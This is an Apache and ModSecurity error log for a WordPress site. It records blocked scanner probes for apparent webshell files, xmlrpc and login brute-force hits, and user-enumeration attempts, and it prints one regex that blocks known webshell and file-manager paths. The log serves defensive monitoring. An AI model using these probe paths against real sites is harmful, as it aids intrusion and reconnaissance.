[Sat Mar 14 08:15:30.559037 2026] [:error] [pid 57226:tid 57248] [client 185.241.208.62:49515] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file88.php"] [unique_id "abSoomxFlXQvNewjeI9ZxgAAAVI"]
[Sat Mar 14 08:15:31.632798 2026] [:error] [pid 57226:tid 57240] [client 185.241.208.62:50288] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "abSoo2xFlXQvNewjeI9ZygAAAUo"]
[Sat Mar 14 08:15:32.699306 2026] [:error] [pid 3912:tid 3945] [client 185.241.208.62:60068] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bu4.php"] [unique_id "abSopMXFZBK-jpdCvTHbOwAAABI"]
[Sat Mar 14 08:15:33.781334 2026] [:error] [pid 3914:tid 3999] [client 185.241.208.62:61848] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bu5.php"] [unique_id "abSopfH_HeUqa_sn9-AhUgAAAI8"]
[Sat Mar 14 08:15:34.866562 2026] [:error] [pid 3914:tid 4008] [client 185.241.208.62:54067] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "abSopvH_HeUqa_sn9-AhVwAAAJg"]
[Sat Mar 14 08:15:35.936182 2026] [:error] [pid 4018:tid 4039] [client 185.241.208.62:62910] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-excerpt/alfa-rex.PHP"] [unique_id "abSopwEk1fxdMMkDDaLxlwAAAM4"]
[Sat Mar 14 08:15:36.995271 2026] [:error] [pid 3913:tid 3959] [client 185.241.208.62:50396] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-excerpt/index.php"] [unique_id "abSoqB9qvQd4GQHUp68uIAAAAEI"]
[Sat Mar 14 08:15:38.062840 2026] [:error] [pid 35801:tid 35806] [client 185.241.208.62:52337] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "abSoqm8tVFelXGsqbU_QDQAAAQI"]
[Sat Mar 14 08:15:39.157790 2026] [:error] [pid 35801:tid 35821] [client 185.241.208.62:52477] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "abSoq28tVFelXGsqbU_QEQAAARE"]
[Sat Mar 14 08:15:40.235796 2026] [:error] [pid 3913:tid 3980] [client 185.241.208.62:64933] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "abSorB9qvQd4GQHUp68uIwAAAFc"]
[Sat Mar 14 08:15:41.337790 2026] [:error] [pid 3913:tid 3974] [client 185.241.208.62:51419] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/index.php"] [unique_id "abSorR9qvQd4GQHUp68uKgAAAFE"]
[Sat Mar 14 08:15:42.404798 2026] [:error] [pid 3913:tid 3959] [client 185.241.208.62:57661] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/zwso.php"] [unique_id "abSorh9qvQd4GQHUp68uLAAAAEI"]
[Sat Mar 14 08:15:43.489858 2026] [:error] [pid 3913:tid 3972] [client 185.241.208.62:60251] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "abSorx9qvQd4GQHUp68uMAAAAE8"]
[Sat Mar 14 08:15:44.554676 2026] [:error] [pid 35801:tid 35808] [client 185.241.208.62:57396] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "abSosG8tVFelXGsqbU_QFQAAAQQ"]
[Sat Mar 14 08:15:45.627314 2026] [:error] [pid 35801:tid 35819] [client 185.241.208.62:54418] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/index.php"] [unique_id "abSosW8tVFelXGsqbU_QGAAAAQ8"]
[Sat Mar 14 12:00:50.160346 2026] [:error] [pid 13262:tid 13317] [client 119.93.234.129:59068] [client 119.93.234.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.93.234.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abTdcjAdvM7ft5BXQ2d5FAAAAZg"]
[Sat Mar 14 12:37:58.251736 2026] [:error] [pid 54017:tid 54047] [client 103.134.134.68:65468] [client 103.134.134.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.134.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abTmJph88Lk5QZp0lWV7_AAAAlc"]
[Sat Mar 14 12:41:08.609020 2026] [:error] [pid 13261:tid 13275] [client 103.134.134.68:65452] [client 103.134.134.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abTm5PDFVxjWSW61p5kO5QAAAMk"]
[Sat Mar 14 12:42:04.056045 2026] [:error] [pid 54017:tid 54026] [client 103.134.134.68:65411] [client 103.134.134.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.134.134.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abTnHJh88Lk5QZp0lWV8ugAAAkI"]
[Sat Mar 14 12:58:02.697443 2026] [:error] [pid 13261:tid 13287] [client 123.187.240.242:33594] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abTq2vDFVxjWSW61p5kSuQAAANU"]
[Sat Mar 14 14:47:17.145275 2026] [:error] [pid 61477:tid 61489] [client 154.205.10.241:61578] [client 154.205.10.241] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abUEdacx6muYfIYRM7BxgAAAAEg"]
[Sat Mar 14 14:47:54.232563 2026] [:error] [pid 61477:tid 61505] [client 154.205.10.241:61903] [client 154.205.10.241] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abUEmqcx6muYfIYRM7Bx8QAAAFg"]
[Sat Mar 14 14:53:32.767513 2026] [:error] [pid 61384:tid 61451] [client 154.205.9.196:64443] [client 154.205.9.196] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "abUF7PzibL2IYJprDHJ6LwAAAcg"]
[Sat Mar 14 15:11:55.078326 2026] [:error] [pid 61477:tid 61502] [client 14.141.215.251:22042] [client 14.141.215.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.141.215.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abUKO6cx6muYfIYRM7CApAAAAFU"]
[Sat Mar 14 15:12:00.718011 2026] [autoindex:error] [pid 61477:tid 61481] [client 14.141.215.251:22042] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Mar 14 15:12:01.251999 2026] [:error] [pid 61477:tid 61490] [client 14.141.215.251:22042] [client 14.141.215.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.141.215.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abUKQacx6muYfIYRM7CAuwAAAEk"]
[Sat Mar 14 15:12:37.448739 2026] [:error] [pid 61384:tid 61461] [client 14.141.215.251:50642] [client 14.141.215.251] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abUKZfzibL2IYJprDHKBrgAAAdI"]
[Sat Mar 14 15:12:49.439100 2026] [:error] [pid 61477:tid 61486] [client 14.141.215.251:63164] [client 14.141.215.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.141.215.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abUKcacx6muYfIYRM7CBWQAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Mar 14 15:12:54.122356 2026] [:error] [pid 61477:tid 61486] [client 14.141.215.251:63164] [client 14.141.215.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.141.215.251, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abUKdqcx6muYfIYRM7CBaAAAAEU"], referer: https://rcacivilgroup.com/wp-login.php
[Sat Mar 14 16:49:22.489246 2026] [:error] [pid 61382:tid 61396] [client 173.239.224.110:52045] [client 173.239.224.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.110, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abUhEv5UUtpNLvwsJ7jnjwAAAAo"]
[Sat Mar 14 16:49:31.473662 2026] [:error] [pid 13151:tid 13170] [client 173.239.224.116:28495] [client 173.239.224.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.224.116, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abUhG9bXrXQxFzrsw40fCgAAAJE"]
[Sat Mar 14 19:49:51.580155 2026] [:error] [pid 61383:tid 61416] [client 43.138.68.113:39702] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abVLXy4SAn4TCd4o0dX0KAAAAQA"]
[Sat Mar 14 21:41:48.447796 2026] [:error] [pid 30154:tid 30173] [client 186.179.190.134:62844] [client 186.179.190.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.179.190.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abVlnF6OP9woRgp3v0GR8QAAAM0"]
[Sat Mar 14 21:44:21.642825 2026] [:error] [pid 61383:tid 61434] [client 186.179.190.134:65091] [client 186.179.190.134] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abVmNS4SAn4TCd4o0dUPSwAAARI"]
[Sat Mar 14 21:45:42.728525 2026] [:error] [pid 30154:tid 30180] [client 186.179.190.134:49909] [client 186.179.190.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.179.190.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abVmhl6OP9woRgp3v0GTGwAAANQ"]
[Sat Mar 14 23:21:40.402286 2026] [autoindex:error] [pid 49351:tid 49372] [client 178.18.245.70:62548] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 14 23:37:02.294275 2026] [autoindex:error] [pid 49293:tid 49302] [client 142.93.208.146:54044] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Mar 15 00:28:44.347873 2026] [:error] [pid 19671:tid 19967] [client 43.128.156.124:57890] [client 43.128.156.124] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abWMvFu8gYYbnWVq3mUNXwAAAQI"]
[Sun Mar 15 03:08:10.953014 2026] [:error] [pid 20020:tid 20041] [client 187.188.233.36:14188] [client 187.188.233.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.188.233.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abWyGkPjaRwagw2fU7gzRAAAAFM"]
[Sun Mar 15 03:08:53.828542 2026] [:error] [pid 20020:tid 20036] [client 197.254.237.210:58363] [client 197.254.237.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.254.237.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abWyRUPjaRwagw2fU7gzVAAAAE4"]
[Sun Mar 15 03:14:15.104782 2026] [:error] [pid 20020:tid 20043] [client 197.254.237.210:59865] [client 197.254.237.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "abWzh0PjaRwagw2fU7g1_QAAAFU"]
[Sun Mar 15 03:15:27.022383 2026] [:error] [pid 20020:tid 20039] [client 197.254.237.210:53742] [client 197.254.237.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.254.237.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "abWzz0PjaRwagw2fU7g2pQAAAFE"]
[Sun Mar 15 07:32:24.357723 2026] [:error] [pid 38541:tid 38617] [client 43.157.142.101:39358] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abXwCHuOpex8jIO0jt74uwAAAIQ"]
[Sun Mar 15 07:42:47.166692 2026] [:error] [pid 50986:tid 51003] [client 20.205.99.175:25715] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abXydyknK4c779bcQqGSdgAAAU4"]
[Sun Mar 15 07:42:47.660165 2026] [:error] [pid 50986:tid 51008] [client 20.205.99.175:7001] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abXydyknK4c779bcQqGSdwAAAVM"]
[Sun Mar 15 07:42:48.155351 2026] [:error] [pid 38541:tid 38633] [client 20.205.99.175:16302] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abXyeHuOpex8jIO0jt77bAAAAJQ"]
[Sun Mar 15 07:42:48.649027 2026] [:error] [pid 38541:tid 38613] [client 20.205.99.175:6388] [client 20.205.99.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ff1.php"] [unique_id "abXyeHuOpex8jIO0jt77bQAAAIA"]
[Sun Mar 15 07:47:14.111926 2026] [:error] [pid 50986:tid 50999] [client 67.205.128.162:57288] [client 67.205.128.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.128.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abXzgiknK4c779bcQqGUsQAAAUo"]
[Sun Mar 15 07:47:16.904574 2026] [:error] [pid 38540:tid 38595] [client 67.205.128.162:57441] [client 67.205.128.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 67.205.128.162, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "abXzhF8bnHsJ1dE90bL9WQAAAEk"]
[Sun Mar 15 08:56:08.569956 2026] [:error] [pid 9995:tid 10009] [client 43.138.68.113:34372] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abYDqAa8xkcaSmgTbwgkdgAAAQs"]
[Sun Mar 15 10:51:42.822143 2026] [:error] [pid 38536:tid 38558] [client 212.30.33.103:32563] [client 212.30.33.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "abYevvpTEqkVJ0rBEWvaLwAAAAU"]
[Sun Mar 15 10:52:03.040210 2026] [autoindex:error] [pid 9995:tid 10013] [client 212.30.33.75:51437] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/jquery/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
